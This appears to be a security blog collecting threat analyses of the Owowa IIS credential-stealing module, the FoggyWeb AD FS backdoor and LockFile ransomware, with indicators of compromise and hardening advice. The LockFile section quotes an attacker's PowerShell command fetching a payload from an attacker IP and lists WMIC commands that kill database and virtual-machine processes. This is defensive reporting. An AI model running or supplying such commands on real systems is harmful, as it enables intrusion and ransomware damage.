Owowa: A malicious IIS module for data theft.

- Posted in Vulnerability by

Owowa is an Microsoft web server (IIS) module currently tuned to intercept outlook web app (OWA) login requests. The exact method of how Owowa makes its way onto servers isn't yet fully known as of publishing of this post, but it is possible that it is deployed as a reconnaissance tool/sniffer during an initial attack on a network. Once it is deployed to a server it is designed to intercept login requests to the target outlook web instance and to funnel the login credentials found to whomever deployed it. This means that if your exchange server is infected, just logging into outlook to check your email can comprise your email account, give the attacker direct control of your email account, and lead to phishing campaigns by pretending to be you. Currently, Owowas targeted have reportedly been governments or government controlled entities in the asia pacific region, but that can change at any time.

Owowa currently works by monitoring HTTP requests on the infected server and responses for OWA traffic by triggering the “PreSendRequestContent” flag, this flag is suspected to be only triggered when a web application hosted by IIS is about to send content to a client application, such as an outlook client. It also verifies that the login was successful by grabbing data from authentication tokens sent as a access confirmation back to the client which contains the user login credentials, IP address and timestamp. It is suspected that the attacker can enter certain strings into the owa login pages username field on an infected server to retrieve the servers credentials log, delete said log, or use the owa login page password field to remotely execute powershell commands remotely.

The IIS "IHttpModule" is used for packet sniffing. According to Microsoft, using the string with the associated flag triggered within the IHttpModule is not recommended as it can lead to server instability/crashes. MS warning The attacker, however, is using this exploit to retrieve information despite Microsoft considering that this is not how it should be used.

Another part of the danger regarding Owowa is that without having a security regime tuned to looking for the type of traffic that Owowa sends the only real way to determine if Owowa is on your server is a manual investigation of the loaded modules in IIS. We are informed that most/all security platforms are not designed to search for vulnerabilities like Owaowa at the time of this post.

Currently talk about Owowa is just that, talk; even Kaspersky researchers, who first discovered Owowa and made its existence public, have not yet taken any protective action. In addition, there is no current discussion as to what Owaowa can be turned into, since it is a snooping tool for IIS currently tuned to steal exchange credentials, modifications to its programming likely would, and could allow it to grab any sort of data being sent to/from an IIS server. Such a vulnerability could mean that the entire IIS ecosystem is a continuous threat risk.

Part of my concern around Owowa and about how dangerous it can be, is that it has been reported that Owowa has unused empty modules within its code that could be potentially - maybe already have been - could be used to enhance its current capability.


Owowa may not yet be commonplace but the threat is significant enough that immediate action should be taken. Verification of the IIS backend, its configuration, on a regular basis. Checks should be done regularly to look for the module and remove it. It is thought that Owowa is currently a reconnaissance tool for an ongoing attack, post exploit, or information grabber for the dark web that will lead to additional exploits, phishing and scams. So proactive steps need to be implemented to assist in preventing the exploit.

FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor

- Posted in Vulnerability by

Microsoft is continuing to develop solutions against the malware attack on its Office365 and Azure products. The malicious actor they coined FoggyWeb, is built on the NOBELUM codebase to create malicious sets of code that can draw from significant operational resources, including custom-built malware and tools, to attack systems and obtain credentials. The code creates a backdoor to Microsoft security and and employs multiple tactics including attaching to multiple DLL's. Once compromised an attacker pursues credential theft with the objective of gaining admin-level access to Active Directory Federation Services (AD FS) servers.

Once NOBELIUM obtains credentials and successfully compromises a server, the actor relies on that access to maintain persistence and deepen its infiltration using sophisticated malware and tools using FoggyWeb to remotely exfiltrate the configuration database of compromised AD FS servers, decrypted token-signing certificate and token-decryption certificates, as well as downloading and executing additional components.

Microsoft recommends that if you think you are compromised you should immediately:

  1. Audit your on-premises and cloud infrastructure, including configuration, per-user and per-app settings, forwarding rules, and other changes the actor might have made to maintain their access
  2. Remove user and app access, review configurations for each, and re-issue new, strong credentials following documented industry best practices.
  3. Use a hardware security module (HSM) as described in securing AD FS servers to prevent the exfiltration of secrets by FoggyWeb.

We think you should do this anyway to be on the safe side.

Microsoft has implemented checks and balances into their security defender products and we recommend that you use these rather than third party applications from third party virus vendors. These vulnerabilities are not yet well understood by the third party vendors who are lagging behind Microsoft fixes and investigations.

Technical analysis Courtesy: Ramin Nafisi - Microsoft Threat Intelligence Center can be read here: https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/

Indicators of compromise (IOCs) For IT professionals you can test for compromise by checking the indicators below:

Type Threat Name Threat Type Indicator
MD5 FoggyWeb Loader 5d5a1b4fafaf0451151d552d8eeb73ec
SHA-1 FoggyWeb Loader c896ece073dd01191cbc1d462bc2f47161828a83
SHA-256 FoggyWeb Loader 231b5517b583de102cde59630c3bf938155d17037162f663874e4662af2481b1
MD5 FoggyWeb Backdoor (encrypted) 9ff9401315d0f7258a9fcde0cfdef02b
SHA-1 FoggyWeb Backdoor (encrypted) 4597431f26424cb814c917168fa8d74d01ab7cd1
SHA-256 FoggyWeb Backdoor (encrypted) da0be762bb785085d36aec80ef1697e25fb15414514768b3bcaf798dd9c9b169
MD5 FoggyWeb Backdoor (encrypted) e9671d294ce41fe6dbb9637dc0157a88
SHA-1 FoggyWeb Backdoor (encrypted) 85cfeccbb48fd9f498d24711c66e458e0a80cc90
SHA-256 FoggyWeb Backdoor (encrypted) 568392bd815de9b677788addfc4fa4b0a5847464b9208d2093a8623bbecd81e6


While Microsoft continues to work on solutions and monitor the threat, the following actions are recommended:

  • Customers should review their AD FS Server configuration and implement changes to secure these systems from attacks - https://docs.microsoft.com/windows-server/identity/ad-fs/deployment/best-practices-securing-ad-fs

  • We strongly recommend for organizations to harden and secure AD FS deployments through the following best practices:

  • Ensure only Active Directory Admins and AD FS Admins have admin rights to the AD FS system.

  • Reduce local Administrators’ group membership on all AD FS servers.
  • Require all cloud admins to use multi-factor authentication (MFA).
  • Ensure minimal administration capability via agents.
  • Limit on-network access via host firewall.
  • Ensure AD FS Admins use Admin Workstations to protect their credentials.
  • Place AD FS server computer objects in a top-level OU that doesn’t also host other servers.
  • Ensure that all GPOs that apply to AD FS servers apply only to them and not to any other servers. This limits potential privilege escalation through GPO modification.
  • Ensure that the installed certificates are protected against theft. Don’t store these on a share on the network and set a calendar reminder to ensure they get renewed before expiring (expired certificate breaks federation auth). Additionally, we recommend protecting signing keys or certificates in a hardware security module (HSM) attached to AD FS.
  • Set logging to the highest level and send the AD FS (and security) logs to a SIEM to correlate with AD authentication as well as Azure AD (or similar).
  • Remove unnecessary protocols and Windows features.
  • Use a long (>25 characters) and complex password for the AD FS service account. We recommend using a Group Managed Service Account (gMSA) as the service account, as it removes the need for managing the service account password over time by managing it automatically.
  • Update to the latest AD FS version for security and logging improvements (as always, test first).
  • When federated with Azure AD follow the best practices for securing and monitoring the AD FS trust with Azure AD.

LockFile Ransomware: Exploiting Microsoft Exchange Vulnerabilities Using ProxyShell

- Posted in Ransomware by

​​LockFile ransomware was first seen in July 2021 and has been highly active since then. It has global operations, and most of the victims are from the United States of America and Asia. The ransomware group hosts a website in the TOR network to guide victims to pay the ransom and subsequently get the instructions to decrypt the files. This webpage contains a uTox ID and an email address to contact the Threat Actor (TA), as shown in the figure below.

Darkweb Lockfile

Cyble Researchers found that a few details indicate that the ransomware gang could also be related to the other threat actors from the ransomware website. For example, as mentioned in the ATTENTION section of the website, the last line mentions a wallpaper being provided by lockbit, and the contact email contains a reference to Conti.

​Recently the Threat Actor (TA) behind LockFile has started attacking Microsoft Exchange Servers using ProxyShell attack. The ProxyShell attack uses chained Microsoft Exchange vulnerabilities mentioned in the list below, resulting in unauthenticated code execution. Orange Tsai, a Principal Security Researcher from Devcore, recently discovered these vulnerabilities. Following is the list of vulnerabilities. ​

  • ​CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass (Patched in April by KB5001779)
  • ​CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend (Patched in April by KB5001779)
  • CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE (Patched in May by KB5003435) ​

​According to a Symantec blog post, after successful exploitation, the TA uses the PowerShell command. ​

powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH

​The PowerShell command in use is unknown, but on August 13, 2021, an independent security researcher captured the associated IP address (209.14.0[.]234). According to the researcher, attackers used this IP to exploit ProxyShell Vulnerability.

Researchers also found that 20 to 30 minutes before the deployment of ransomware, the TA drops three files:

​An Exploit for PetitPotam vulnerability (CVE-2021-36942), namely efspotato.exe.

​Two files: active_desktop_render.dll and active_desktop_launcher.exe

​PetitPotam vulnerability allows the TA to compromise Domain Controller, which results in the compromise of the complete Active Directory. The PetitPotam technique uses MS-EFSRPC (Microsoft’s Encrypting File System Remote Protocol), Which is responsible for performing maintenance and management operations on the encrypted data stored on the remote system.

​As per Symantec, the executable active_desktop_launcher.exe is legitimate software, but active_desktop_render.dll is a malicious Dynamic Link Library (DLL). The active_desktop_render.dll is loaded using the DLL Search Order Hijacking attack. After loading, the DLL file drops and decrypts desktop.ini in a local directory. This desktop.ini then loads and executes shellcode, which then activates the efspotato.exe file that is exploited for the PetitPotam vulnerability.

​​Upon compromising the domain, the TA then deploys LockFile ransomware in various systems of the compromised domain.

​​Cyble Research found one of the LockFile malware samples from the surface web while conducting routine Open-Source Intelligence (OSINT) threat hunting exercises. The figure below shows the high-level execution flow of LockFile Ransomware. The malware initially kills all the known processes related to virtual machines, databases, and other related services. Then, it iterates through drives into the system to find the logical drive to search for files and folders. After the files are found, the malware checks the extensions of the file, and if matched to the pre-defined file extension, the ransomware encrypts it. After completing the encryption process, it deletes itself.

Exchange execution

Technical Analysis ​​Their static analysis found that the malware is a Windows-based x64 architecture Console application written in C/C++ and compiled on 2021-07-03 18:15:34, as shown in the figure below.

Details of static analysis

​As shown in the figure below, the malware creates several subprocesses to perform several activities upon execution.

Details of malware execution

The subprocess kills various running processes shown in Table 1. The malware uses the Windows Management Interface Command (WMIC) command and provides the process name as a wild card in between %% to achieve this task. WMIC is a simple command prompt tool that returns information about the system you are running it on.

The list of commands which the malware has executed is shown in table below.

Command Target Process 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%vmwp%'” call terminate vmwp 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%virtualbox%'” call terminate virtualbox 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%vbox%'” call terminate vbox 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%sqlservr%'” call terminate sqlservr 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%mysqld%'” call terminate mysqld 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%omtsreco%'” call terminate omtsreco 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%oracle%'” call terminate oracle 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%tnslsnr%'” call terminate tnslsnr 
C:Windowssystem32cmd.exe /c wmic process where “name  like ‘%vmware%'” call terminate vmware 

Table 1 WMIC Commands executed by Ransomware to Kill Processes

Once the ransomware kills all the processes, it iterates through the victim’s machine and encrypts the user document files and appends extensions with .lockfile, as shown in the figure below.

Appended extensions

Figure 5: Files encrypted by LockFile

Once the files are encrypted, the malware launches an HTML Application file (HTA) to show the ransom message to the user, as shown in the figure below, and then deletes itself. ​

Ransomware message

Figure 6: Ransom Message Created by LockFile

Code Analysis And Debugging The figure below shows that the malware calls a series of WMIC commands to kill various processes upon debugging. The list of commands is shown in Table 1.

WMIC commands

Figure 7: WMIC commands used by LockFile ransomware to kill processes Once the ransomware kills all the defined processes, it extracts the ransom note content from the executable, as shown below.

Ransom note

Figure 8: Ransom Note Extracted from LockFile Ransomware in Memory Afterward, the malware gets the list of drives using the GetLogicalDriveStringsA Application Programming Interface (API). Finally, the list of drives is passed one at a time to GetDriveTypeA API, after which the result compares with 03 (DRIVE_FIXED), which indicates whether the found drive is fixed media, e.g., Logical Drives as shown below. Once the drive is located, the malware creates a thread to conduct further ransomware activity. ​

Fixed media checked

Figure 9: Fixed Media checked by LockFile

The malware thread creates LOCKFILE-README.hta in the root, as shown in the figure below.

Thread creating

Figure 10: LockFile’s Thread creating LOCKFILE-README.hta in C:/

Then the ransomware starts iterating through the files and folder. The code passes whatever files/folders are found through a series of checks. The checks are mentioned below list.

1 – desktop.ini string is not present in the filename

2 – Windows is not present in the full path

3 – LOCKFILE string is not present in the filename

4 – NTUSER string is not present in the filename

The checks are shown in the below code.

checks performed

Figure 11: Checks performed by LockFile.

Once all the checks are passed, the malware compares the files extension with a pre-defined extension embedded in the malware. The code is shown in the figure below.


Figure 12: File Extension Compared by LockFile

For example, in the below figure, we can see that the malware is comparing 36897c.rbf extension with .1cd extension.

file extensions

Figure 13 Ransomware Check File Extension

Similarly, the malware compares all extensions, shown in Table 2, with the victim’s file. This activity helps us conclude that the malware is targeting only a specific extension file.

.lcd .7z .7zip .acccdb .ai .asp .aspx .backup .bak .cd .cdr .cdx .cer .cf .cfl .cfu .config .cs .csv .dat .db .dbf .doc .docx .dt .dwg .edb .efd .elf .epf .erf .fpt .geo .grs .html .ibd .jpeg .ldf .lgf .lgp .log .mdb .mdf .mft .mp3 .mxl .myd .odt .pdf .pff .php .ppt .pptx .ps1 .psd .pst .rar .sln .sql .sqlite .st .tiff .txt .vdi .vhd .vhdx .vmdk .vrp .wdb .xls .xlsx .zip

Table 2 List of File Extensions which are targeted by ransomware

As shown below in figure 14, once the file is found with the defined extension, the malware reads the plain text content from the file.

read plain text

Figure 14 Read Plain Text content from Victim’s File

It then calls another user-defined function for encrypting the content using Advanced Encryption Standard (AES), as shown below.

call encryption

Figure 15 Call Encryption Function to encrypt the content

Once the content is encrypted, the malware writes it into the file, and then it appends the encrypted file with extension .lockfile using MoveFileA API, as shown in the below figure.


Figure 16 Append .lockfile extension to the user document file

The same activity is shown below in figure 17.

extension to user file

Figure 17 Append .lockfile extension to the user document file while debugging

Once all the files have been encrypted, the malware creates a ransom note .hta file in the C:UsersPublic directory, as shown in the figure below.


Figure 18 Creates .HTA ransom file C:UsersPublic

Once the .hta ransom file is created, it calls CreateProcess API to launch the .hta file using mshta.exe windows utility. The mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.

mshta exe

Figure 19 Launch.HTA ransom File using mshta.exe

Finally, once all the files are encrypted, the malware deletes itself by calling the del command, as shown below.

del command

Figure 20 Use Del command to delete itself


The threat actors behind the LockFile exploit publicly disclosed vulnerabilities in sequence to attack Microsoft Exchange Server and then use PetitPotam vulnerability to compromise the Domain Controller. After achieving these two objectives, the TA drops the LockFile ransomware into the systems.

Based on the ransom notes, Cyble Research Labs speculate that the TA may be creating unique custom variants of the LockFile ransomware for each victim organization.

Cyble Research Labs continuously monitors the LockFile ransomware activity; we will continue to update our readers with our latest findings.


Cyble Research labs have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the suggestions given below: 

  • Use a reputed anti-virus and internet security software package on your connected devices.     
  • Conduct regular backup practices and keep those backups offline or in a separate network. 
  • Refrain from opening untrusted links and email attachments without verifying their authenticity. 
  • Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.  
  • Use strong passwords and enforce multi-factor authentication wherever possible. 

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name 
Reconnaissance T1595.002 T1591 T1593 Active Scanning Gather Victim Org Information Search Open Websites/Domains 
Initial Access T1190 Exploit Public-Facing Application 
Execution T1059.001 Command and Scripting Interpreter: PowerShell 
Defense Evasion T1574.001 Hijack Execution Flow: DLL Search Order Hijacking 
Lateral Movement T1210 Exploitation of Remote Services 
Impact T1486 Data Encrypted for Impact 

Indicators of Compromise (IoCs):   

Indicators Indicator type Description 
354a362811b8917bd7245cdd43fe12de9ca3f5f6afe5a2ec97eec81c400a4101 SHA256 LockFile Ransomware 
ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291 SHA256 Malicious DLL 
36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9 SHA256 Driver file 
5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f SHA256 Malicious executable 
1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75 SHA256 Malicious DLL 
7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd SHA256 PetitPotam exploit 
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce SHA256 LockFile executable 
209.14.0[.]234 IP address Attacher’s IP